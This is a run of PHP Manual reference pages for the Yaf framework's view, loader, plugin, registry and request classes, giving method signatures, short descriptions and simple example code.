  • Yaf_View_Simple::display »
  • PHP Manual
  • Yaf_View_Simple
  • Constructor of Yaf_View_Simple

Yaf_View_Simple::__construct

(Yaf >=1.0.0)

Yaf_View_Simple::__construct — Constructor of Yaf_View_Simple

Description

final public Yaf_View_Simple::__construct ( string $tempalte_dir [, array $options ] )

Parameters

tempalte_dir

The base directory of the templates, by default, it is APPLICATOIN . "/views" for Yaf.

options

Options for the engine, as of Yaf 2.1.13, you can use short tag
      "<?=$var?>" in your template(regardless of "short_open_tag"),
      so comes a option named "short_tag",  you can switch this off
      to prevent use short_tag in template.

Examples

Example #1 Yaf_View_Simple::__constructor()example

<?php
   define ("TEMPLATE_DIRECTORY", APPLICATOIN_PATH . '/views');
   $view = new Yaf_View_Simple(TEMPLATE_DIRECTORY, array(
                           'short_tag' => false //doesn't allow use short tag in template
   ));
?>

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Render and display

  • « Yaf_View_Simple::__construct
  • Yaf_View_Simple::eval »
  • PHP Manual
  • Yaf_View_Simple
  • Render and display

Yaf_View_Simple::display

(Yaf >=1.0.0)

Yaf_View_Simple::display — Render and display

Description

public bool Yaf_View_Simple::display ( string $tpl [, array $tpl_vars ] )

Render a template and display the result instantly.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Render template

  • « Yaf_View_Simple::display
  • Yaf_View_Simple::__get »
  • PHP Manual
  • Yaf_View_Simple
  • Render template

Yaf_View_Simple::eval

(Yaf >=2.2.0)

Yaf_View_Simple::eval — Render template

Description

public string Yaf_View_Simple::eval ( string $tpl_content [, array $tpl_vars ] )

Render a string tempalte and return the result.

Parameters

tpl_content

string template

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve assigned variable

  • « Yaf_View_Simple::eval
  • Yaf_View_Simple::getScriptPath »
  • PHP Manual
  • Yaf_View_Simple
  • Retrieve assigned variable

Yaf_View_Simple::__get

(Yaf >=1.0.0)

Yaf_View_Simple::__get — Retrieve assigned variable

Description

public void Yaf_View_Simple::__get ([ string $name ] )

Retrieve assigned varaiable

Note:

parameter can be empty since 2.1.11

Parameters

name

the assigned variable name

if this is empty, all assigned variables will be returned

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get templates directory

  • « Yaf_View_Simple::__get
  • Yaf_View_Simple::__isset »
  • PHP Manual
  • Yaf_View_Simple
  • Get templates directory

Yaf_View_Simple::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::getScriptPath — Get templates directory

Description

public string Yaf_View_Simple::getScriptPath ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • « Yaf_View_Simple::getScriptPath
  • Yaf_View_Simple::render »
  • PHP Manual
  • Yaf_View_Simple
  • The __isset purpose

Yaf_View_Simple::__isset

(Yaf >=1.0.0)

Yaf_View_Simple::__isset — The __isset purpose

Description

public void Yaf_View_Simple::__isset ( string $name )

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Render template

  • « Yaf_View_Simple::__isset
  • Yaf_View_Simple::__set »
  • PHP Manual
  • Yaf_View_Simple
  • Render template

Yaf_View_Simple::render

(Yaf >=1.0.0)

Yaf_View_Simple::render — Render template

Description

public string Yaf_View_Simple::render ( string $tpl [, array $tpl_vars ] )

Render a tempalte and return the result.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set value to engine

  • « Yaf_View_Simple::render
  • Yaf_View_Simple::setScriptPath »
  • PHP Manual
  • Yaf_View_Simple
  • Set value to engine

Yaf_View_Simple::__set

(Yaf >=1.0.0)

Yaf_View_Simple::__set — Set value to engine

Description

public void Yaf_View_Simple::__set ( string $name , mixed $value )

This is a alternative and easier way to Yaf_View_Simple::assign().

Parameters

name

A string value name.

value

Mixed value.

Return Values

Examples

Example #1 Yaf_View_Simple::__set()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->foo = "bar"; // same as assign("foo", "bar");
    }
?>

See Also

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - Assign value to View engine

User Contributed Notes

There are no user contributed notes for this page.


Set tempaltes directory

  • « Yaf_View_Simple::__set
  • Yaf_Loader »
  • PHP Manual
  • Yaf_View_Simple
  • Set tempaltes directory

Yaf_View_Simple::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Simple::setScriptPath — Set tempaltes directory

Description

public bool Yaf_View_Simple::setScriptPath ( string $template_dir )

Parameters

template_dir

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Loader class

(Yaf >=1.0.0)

Introduction

Yaf_Loader introduces a comprehensive autoloading solution for Yaf.

The first time an instance of Yaf_Application is retrieved, Yaf_Loader will instance a singleton, and registers itself with spl_autoload. You retrieve an instance using the Yaf_Loader::getInstance()

Yaf_Loader attempt to load a class only one shot, if failed, depend on yaf.use_spl_auload, if this config is On Yaf_Loader::autoload() will return FALSE, thus give the chance to other autoload function. if it is Off (by default), Yaf_Loader::autoload() will return TRUE, and more important is that a very usefull warning will be triggerd (very usefull to find out why a class could not be loaded).

Note:

Please keep yaf.use_spl_autoload Off unless there is some library have their own autoload mechanism and impossible to rewrite it.

By default, Yaf_Loader assume all library (class defined script) store in the global library directory, which is defined in the php.ini(yaf.library).

If you want Yaf_Loader search some classes(libraries) in the local class directory(which is defined in application.ini, and by default, it is application.directory . "/library"), you should register the class prefix using the Yaf_Loader::registerLocalNameSpace()

Let's see some examples(assuming APPLICATION_PATH is application.directory):

Example #1 Config example

// Assuming the following configure in php.ini:
yaf.library = "/global_dir"

//Assuming the following configure in application.ini
application.library = APPLICATION_PATH "/library"
Assuming the following local name space registerd:

Example #2 Register localnamespace

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
     public function _initLoader($dispatcher) {
          Yaf_Loader::getInstance()->registerLocalNameSpace(array("Foo", "Bar"));
     }
?>
Then the autoload examples:

Example #3 Load class example

class Foo_Bar_Test =>
  // APPLICATION_PATH/library/Foo/Bar/Test.php

class GLO_Name  =>
  // /global_dir/Glo/Name.php

class BarNon_Test
  // /global_dir/Barnon/Test.php
As of PHP 5.3, you can use namespace:

Example #4 Load namespace class example

class \Foo\Bar\Dummy =>
   // APPLICATION_PATH/library/Foo/Bar/Dummy.php

class \FooBar\Bar\Dummy =>
   // /global_dir/FooBar/Bar/Dummy.php

You may noticed that all the folder wth the first letter capitalized, you can make them lowercase by set yaf.lowcase_path = On in php.ini

Yaf_Loader is also designed to load the MVC classes, and the rule is:

Example #5 MVC class loading example

Controller Classes =>
// APPLICATION_PATH/controllers/

Model Classes =>
// APPLICATION_PATH/models/

Plugin Classes =>
// APPLICATION_PATH/plugins/
Yaf identify a class's suffix(this is by default, you can also change to the prefix by change the configure yaf.name_suffix) to decide whether it is a MVC class:

Example #6 MVC class distinctions

Controller Classes =>
    // ***Controller

Model Classes =>
    // ***Model

Plugin Classes =>
    // ***Plugin
some examples:

Example #7 MVC loading example

class IndexController
    // APPLICATION_PATH/controllers/Index.php

class DataModel =>
   // APPLICATION_PATH/models/Data.php

class DummyPlugin =>
  // APPLICATION_PATH/plugins/Dummy.php

class A_B_TestModel =>
  // APPLICATION_PATH/models/A/B/Test.php

Note:

As of 2.1.18, Yaf supports Controllers autoloading for user script side, (which means the autoloading triggered by user php script, eg: access a controller static property in Bootstrap or Plugins), but autoloader only try to locate controller class script under the default module folder, which is "APPLICATION_PATH/controllers/".

also, the directory will be affected by yaf.lowcase_path.

Class synopsis

Yaf_Loader {
/* Properties */
protected $_local_ns ;
protected $_library ;
protected $_global_library ;
static $_instance ;
/* Methods */
public void autoload ( void )
public void clearLocalNamespace ( void )
private void __clone ( void )
public__construct ( void )
public static void getInstance ( void )
public Yaf_Loader getLibraryPath ([ bool $is_global = false ] )
public void getLocalNamespace ( void )
public static void import ( void )
public void isLocalName ( void )
public void registerLocalNamespace ( mixed $prefix )
public Yaf_Loader setLibraryPath ( string $directory [, bool $is_global = false ] )
private void __sleep ( void )
private void __wakeup ( void )
}

Properties

_local_ns

_library

By default, this value is application.directory . "/library", you can change this either in the application.ini(application.library) or call to Yaf_Loader::setLibraryPath()

_global_library

_instance

Table of Contents

  • Yaf_Loader::autoload — The autoload purpose
  • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
  • Yaf_Loader::__clone — The __clone purpose
  • Yaf_Loader::__construct — The __construct purpose
  • Yaf_Loader::getInstance — The getInstance purpose
  • Yaf_Loader::getLibraryPath — get the library path
  • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
  • Yaf_Loader::import — The import purpose
  • Yaf_Loader::isLocalName — The isLocalName purpose
  • Yaf_Loader::registerLocalNamespace — register local class prefix
  • Yaf_Loader::setLibraryPath — Change the library path
  • Yaf_Loader::__sleep — The __sleep purpose
  • Yaf_Loader::__wakeup — The __wakeup purpose

User Contributed Notes

There are no user contributed notes for this page.


The autoload purpose

  • « Yaf_Loader
  • Yaf_Loader::clearLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • The autoload purpose

Yaf_Loader::autoload

(Yaf >=1.0.0)

Yaf_Loader::autoload — The autoload purpose

Description

public void Yaf_Loader::autoload ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The clearLocalNamespace purpose

  • « Yaf_Loader::autoload
  • Yaf_Loader::__clone »
  • PHP Manual
  • Yaf_Loader
  • The clearLocalNamespace purpose

Yaf_Loader::clearLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose

Description

public void Yaf_Loader::clearLocalNamespace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Loader::clearLocalNamespace
  • Yaf_Loader::__construct »
  • PHP Manual
  • Yaf_Loader
  • The __clone purpose

Yaf_Loader::__clone

(Yaf >=1.0.0)

Yaf_Loader::__clone — The __clone purpose

Description

private void Yaf_Loader::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « Yaf_Loader::__clone
  • Yaf_Loader::getInstance »
  • PHP Manual
  • Yaf_Loader
  • The __construct purpose

Yaf_Loader::__construct

(Yaf >=1.0.0)

Yaf_Loader::__construct — The __construct purpose

Description

publicYaf_Loader::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • « Yaf_Loader::__construct
  • Yaf_Loader::getLibraryPath »
  • PHP Manual
  • Yaf_Loader
  • The getInstance purpose

Yaf_Loader::getInstance

(Yaf >=1.0.0)

Yaf_Loader::getInstance — The getInstance purpose

Description

public static void Yaf_Loader::getInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


get the library path

  • « Yaf_Loader::getInstance
  • Yaf_Loader::getLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • get the library path

Yaf_Loader::getLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::getLibraryPath — get the library path

Description

public Yaf_Loader Yaf_Loader::getLibraryPath ([ bool $is_global = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getLocalNamespace purpose

  • « Yaf_Loader::getLibraryPath
  • Yaf_Loader::import »
  • PHP Manual
  • Yaf_Loader
  • The getLocalNamespace purpose

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose

Description

public void Yaf_Loader::getLocalNamespace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The import purpose

  • « Yaf_Loader::getLocalNamespace
  • Yaf_Loader::isLocalName »
  • PHP Manual
  • Yaf_Loader
  • The import purpose

Yaf_Loader::import

(Yaf >=1.0.0)

Yaf_Loader::import — The import purpose

Description

public static void Yaf_Loader::import ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The isLocalName purpose

  • « Yaf_Loader::import
  • Yaf_Loader::registerLocalNamespace »
  • PHP Manual
  • Yaf_Loader
  • The isLocalName purpose

Yaf_Loader::isLocalName

(Yaf >=1.0.0)

Yaf_Loader::isLocalName — The isLocalName purpose

Description

public void Yaf_Loader::isLocalName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


register local class prefix

  • « Yaf_Loader::isLocalName
  • Yaf_Loader::setLibraryPath »
  • PHP Manual
  • Yaf_Loader
  • register local class prefix

Yaf_Loader::registerLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::registerLocalNamespace — register local class prefix

Description

public void Yaf_Loader::registerLocalNamespace ( mixed $prefix )

Register local class prefix name, Yaf_Loader search classes in two library directories, the one is configured via application.library.directory(in application.ini) which is called local libraray directory; the other is configured via yaf.library (in php.ini) which is callled global library directory, since it can be shared by many applications in the same server.

When an autloading is trigger, Yaf_Loader will determine which library directory should be searched in by exame the prefix name of the missed classname. If the prefix name is registered as a localnamespack then look for it in local library directory, otherwise look for it in global library directory.

Note:

If yaf.library is not configured, then the global library directory is assumed to be the local library directory. in that case, all autoloading will look for local library directory. But if you want your Yaf application be strong, then always register your own classes as local classes.

Parameters

prefix

a string or a array of class name prefix. all class prefix with these prefix will be loaded in local library path.

Return Values

bool

Examples

Example #1 Yaf_Loader::registerLocalNamespace()example

<?php
$loader = Yaf_Loader::getInstance('/local/library/', '/global/library');
$loader->registerLocalNamespace("Baidu");
$loader->registerLocalNamespace(array("Sina", "Weibo"));

$loader->autoload("Baidu_Name"); // search in '/local/library/'
$loader->autoload("Sina");       // search '/local/library/'
$loader->autoload("Global_Name");// search in '/global/library/'
$loader->autoload("Foo_Bar");    // search in '/global/library/'

?>

User Contributed Notes

There are no user contributed notes for this page.


Change the library path

  • « Yaf_Loader::registerLocalNamespace
  • Yaf_Loader::__sleep »
  • PHP Manual
  • Yaf_Loader
  • Change the library path

Yaf_Loader::setLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::setLibraryPath — Change the library path

Description

public Yaf_Loader Yaf_Loader::setLibraryPath ( string $directory [, bool $is_global = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __sleep purpose

  • « Yaf_Loader::setLibraryPath
  • Yaf_Loader::__wakeup »
  • PHP Manual
  • Yaf_Loader
  • The __sleep purpose

Yaf_Loader::__sleep

(Yaf >=1.0.0)

Yaf_Loader::__sleep — The __sleep purpose

Description

private void Yaf_Loader::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __wakeup purpose

  • « Yaf_Loader::__sleep
  • Yaf_Plugin_Abstract »
  • PHP Manual
  • Yaf_Loader
  • The __wakeup purpose

Yaf_Loader::__wakeup

(Yaf >=1.0.0)

Yaf_Loader::__wakeup — The __wakeup purpose

Description

private void Yaf_Loader::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Plugin_Abstract class

(Yaf >=1.0.0)

Introduction

Plugins allow for easy extensibility and customization of the framework.

Plugins are classes. The actual class definition will vary based on the component -- you may need to implement this interface, but the fact remains that the plugin is itself a class.

A plugin could be loaded into Yaf by using Yaf_Dispatcher::registerPlugin(), after registerd, All the methods which the plugin implemented according to this interface, will be called at the proper time.

Examples

Example #1 Plugin example

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            /* register a plugin */
            $dispatcher->registerPlugin(new TestPlugin());
        }
   }

   /* plugin class should be placed under ./application/plugins/ */
   class TestPlugin extends Yaf_Plugin_Abstract {
        public function routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* before router
               in this hook,  user can do some url rewrite */
            var_dump("routerStartup");
        }
        public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* router complete
               in this hook, user can do login check */
            var_dump("routerShutdown");
        }
        public function dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("dispatchLoopStartup");
        }
        public function preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("preDispatch");
        }
        public function postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            var_dump("postDispatch");
        }
        public function dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
            /* final hoook
               in this hook user can do loging or implement layout */
            var_dump("dispatchLoopShutdown");
        }
   }

   Class IndexController extends Yaf_Controller_Abstract {
        public function indexAction() {
            return FALSE; //prevent rendering
        }
   }

   $config = array(
       "application" => array(
           "directory" => dirname(__FILE__) . "/application/",
       ),
   );

   $app = new Yaf_Application($config);
   $app->bootstrap()->run();
?>

The above example will output something similar to:

string(13) "routerStartup"
string(14) "routerShutdown"
string(19) "dispatchLoopStartup"
string(11) "preDispatch"
string(12) "postDispatch"
string(20) "dispatchLoopShutdown"

Class synopsis

Yaf_Plugin_Abstract {
/* Methods */
public void dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
}

Table of Contents

  • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
  • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
  • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
  • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
  • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 04:59
All the methods which the plugin implemented according to this interface, will be called at the proper time automatically.


The dispatchLoopShutdown purpose

  • « Yaf_Plugin_Abstract
  • Yaf_Plugin_Abstract::dispatchLoopStartup »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The dispatchLoopShutdown purpose

Yaf_Plugin_Abstract::dispatchLoopShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose

Description

public void Yaf_Plugin_Abstract::dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This is the latest hook in Yaf plugin hook system, if a custom plugin implement this method, then it will be called after the dispatch loop finished.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

See Also

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose

User Contributed Notes

There are no user contributed notes for this page.


The dispatchLoopStartup purpose

  • « Yaf_Plugin_Abstract::dispatchLoopShutdown
  • Yaf_Plugin_Abstract::postDispatch »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The dispatchLoopStartup purpose

Yaf_Plugin_Abstract::dispatchLoopStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose

Description

public void Yaf_Plugin_Abstract::dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The postDispatch purpose

  • « Yaf_Plugin_Abstract::dispatchLoopStartup
  • Yaf_Plugin_Abstract::preDispatch »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The postDispatch purpose

Yaf_Plugin_Abstract::postDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose

Description

public void Yaf_Plugin_Abstract::postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The preDispatch purpose

  • « Yaf_Plugin_Abstract::postDispatch
  • Yaf_Plugin_Abstract::preResponse »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preDispatch purpose

Yaf_Plugin_Abstract::preDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose

Description

public void Yaf_Plugin_Abstract::preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The preResponse purpose

  • « Yaf_Plugin_Abstract::preDispatch
  • Yaf_Plugin_Abstract::routerShutdown »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preResponse purpose

Yaf_Plugin_Abstract::preResponse

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preResponse — The preResponse purpose

Description

public void Yaf_Plugin_Abstract::preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The routerShutdown purpose

  • « Yaf_Plugin_Abstract::preResponse
  • Yaf_Plugin_Abstract::routerStartup »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The routerShutdown purpose

Yaf_Plugin_Abstract::routerShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose

Description

public void Yaf_Plugin_Abstract::routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This hook will be trigged after the route process finished, this hook is usually used for login check.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

Examples

Example #1 Yaf_Plugin_Abstract::routerShutdown()example

<?php
class UserInitPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
        $controller = $request->getControllerName();

        /**
         * Use access controller is unecessary for APIs
         */
        if (in_array(strtolower($controller), array(
            'api',
        ))) {
            return TRUE;
        }

        if (Yaf_Session::getInstance()->has("login")) {
            return TRUE;
        }

        /* Use access check failed, need to login */
        $response->redirect("http://yourdomain.com/login/");
        return FALSE;
    }
?>

See Also

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


RouterStartup hook

  • « Yaf_Plugin_Abstract::routerShutdown
  • Yaf_Registry »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • RouterStartup hook

Yaf_Plugin_Abstract::routerStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

Description

public void Yaf_Plugin_Abstract::routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This is the earliest hook in Yaf plugin hook system, if a custom plugin implement this method, then it will be called before routing a request.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

See Also

  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Registry class

(Yaf >=1.0.0)

Introduction

All methods of Yaf_Registry declared as static, making it unversally accessible. This provides the ability to get or set any custom data from anyway in your code as necessary.

Class synopsis

Yaf_Registry {
/* Properties */
static $_instance ;
protected $_entries ;
/* Methods */
private void __clone ( void )
__construct ( void )
public static void del ( string $name )
public static mixed get ( string $name )
public static bool has ( string $name )
public static bool set ( string $name , string $value )
}

Properties

_instance

_entries

Table of Contents

  • Yaf_Registry::__clone — The __clone purpose
  • Yaf_Registry::__construct — Yaf_Registry implements singleton
  • Yaf_Registry::del — Remove an item from registry
  • Yaf_Registry::get — Retrieve an item from registry
  • Yaf_Registry::has — Check whether an item exists
  • Yaf_Registry::set — Add an item into registry

User Contributed Notes

There are no user contributed notes for this page.


The __clone purpose

  • « Yaf_Registry
  • Yaf_Registry::__construct »
  • PHP Manual
  • Yaf_Registry
  • The __clone purpose

Yaf_Registry::__clone

(Yaf >=1.0.0)

Yaf_Registry::__clone — The __clone purpose

Description

private void Yaf_Registry::__clone ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry implements singleton

  • « Yaf_Registry::__clone
  • Yaf_Registry::del »
  • PHP Manual
  • Yaf_Registry
  • Yaf_Registry implements singleton

Yaf_Registry::__construct

(Yaf >=1.0.0)

Yaf_Registry::__construct — Yaf_Registry implements singleton

Description

Yaf_Registry::__construct ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Remove an item from registry

  • « Yaf_Registry::__construct
  • Yaf_Registry::get »
  • PHP Manual
  • Yaf_Registry
  • Remove an item from registry

Yaf_Registry::del

(Yaf >=1.0.0)

Yaf_Registry::del — Remove an item from registry

Description

public static void Yaf_Registry::del ( string $name )

Remove an item from registry

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an item from registry

  • « Yaf_Registry::del
  • Yaf_Registry::has »
  • PHP Manual
  • Yaf_Registry
  • Retrieve an item from registry

Yaf_Registry::get

(Yaf >=1.0.0)

Yaf_Registry::get — Retrieve an item from registry

Description

public static mixed Yaf_Registry::get ( string $name )

Retrieve an item from registry

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Check whether an item exists

  • « Yaf_Registry::get
  • Yaf_Registry::set »
  • PHP Manual
  • Yaf_Registry
  • Check whether an item exists

Yaf_Registry::has

(Yaf >=1.0.0)

Yaf_Registry::has — Check whether an item exists

Description

public static bool Yaf_Registry::has ( string $name )

Check whether an item exists

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Add an item into registry

  • « Yaf_Registry::has
  • Yaf_Request_Abstract »
  • PHP Manual
  • Yaf_Registry
  • Add an item into registry

Yaf_Registry::set

(Yaf >=1.0.0)

Yaf_Registry::set — Add an item into registry

Description

public static bool Yaf_Registry::set ( string $name , string $value )

Add an item into registry

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Request_Abstract class

(Yaf >=1.0.0)

Introduction

Class synopsis

Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* Properties */
public $module ;
public $controller ;
public $action ;
public $method ;
protected $params ;
protected $language ;
protected $_exception ;
protected $_base_uri ;
protected $uri ;
protected $dispatched ;
protected $routed ;
/* Methods */
public void getActionName ( void )
public void getBaseUri ( void )
public void getControllerName ( void )
public void getEnv ( string $name [, string $default ] )
public void getException ( void )
public void getLanguage ( void )
public void getMethod ( void )
public void getModuleName ( void )
public void getParam ( string $name [, string $default ] )
public void getParams ( void )
public void getRequestUri ( void )
public void getServer ( string $name [, string $default ] )
public void isCli ( void )
public void isDispatched ( void )
public void isGet ( void )
public void isHead ( void )
public void isOptions ( void )
public void isPost ( void )
public void isPut ( void )
public void isRouted ( void )
public void isXmlHttpRequest ( void )
public void setActionName ( string $action )
public bool setBaseUri ( string $uir )
public void setControllerName ( string $controller )
public void setDispatched ( void )
public void setModuleName ( string $module )
public void setParam ( string $name [, string $value ] )
public void setRequestUri ( string $uir )
public void setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Predefined Constants

Yaf_Request_Abstract::SCHEME_HTTP

Yaf_Request_Abstract::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Abstract::getActionName — The getActionName purpose
  • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
  • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
  • Yaf_Request_Abstract::getEnv — Retrieve ENV varialbe
  • Yaf_Request_Abstract::getException — The getException purpose
  • Yaf_Request_Abstract::getLanguage — The getLanguage purpose
  • Yaf_Request_Abstract::getMethod — The getMethod purpose
  • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
  • Yaf_Request_Abstract::getParam — The getParam purpose
